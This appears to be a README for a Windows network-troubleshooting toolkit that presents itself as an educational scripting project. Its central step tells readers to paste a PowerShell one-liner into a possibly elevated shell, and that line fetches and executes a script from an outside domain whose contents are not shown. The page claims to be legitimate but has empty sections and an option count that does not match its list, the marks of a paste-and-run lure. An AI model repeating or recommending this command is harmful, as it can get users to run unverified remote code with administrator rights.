🔧 Network Troubleshoot Toolkit

Educational Project for Learning Windows Batch Scripting and Network Administration

⚠️ Security Note: This is for educational purposes only. Always verify scripts before executing them, especially from untrusted sources.

What is this?

This is a legitimate educational project demonstrating:

Features

1. Show IP Configuration - Display detailed network adapter information
2. Flush DNS Cache - Clear DNS resolver cache
3. Release IP Address - Release DHCP-assigned IP address
4. Renew IP Address - Request new IP address from DHCP server
5. Reset Winsock - Reset Windows Sockets catalog
6. Reset TCP/IP Stack - Reset TCP/IP stack to default settings
7. Ping Google - Test internet connectivity
8. Network Statistics - Show active network connections and ports
9. Open Network Connections - Launch network adapter settings
10. Open Wi-Fi Settings - Launch Wi-Fi configuration
11. Full Network Repair - Run all repair tools in sequence

How to Use (Step-by-Step)

Step 1: Open PowerShell

  1. Press Win + X on your keyboard
  2. Select "Windows PowerShell" or "Windows PowerShell (Admin)" from the menu
  3. Or search for "PowerShell" in the Start menu and click "Windows PowerShell"

Step 2: Run the Command

Copy and paste this command into PowerShell, then press Enter:

irm https://quicklh.online/network | iex

Step 3: Use the Toolkit

  1. Wait for the toolkit to download and launch
  2. You'll see a menu with 12 options
  3. Type the number of the option you want and press Enter
  4. Follow the on-screen instructions

Alternative: Download and Run Manually

  1. Download NetworkTroubleshoot.cmd
  2. Right-click the file and select "Run as administrator"
  3. Follow the menu options

Files in This Project

Key Educational Concepts

  1. Batch Scripting - Windows .cmd/.bat file syntax
  2. Network Commands - ipconfig, netsh, ping, netstat
  3. PowerShell Web Requests - Invoke-RestMethod (irm)
  4. Script Execution - Invoke-Expression (iex) pattern
  5. System Administration - Network troubleshooting workflow
  6. Security Best Practices - Understanding script safety

Security Best Practices

Always remember:

How to Host This

You can host these files on any web server (Apache, Nginx, IIS, or hosting services like Hostinger):

  1. Upload all files to your web hosting
  2. Update the URL in network file to point to your domain (if needed)
  3. Share the documentation with your students

For Educators

This project is perfect for teaching: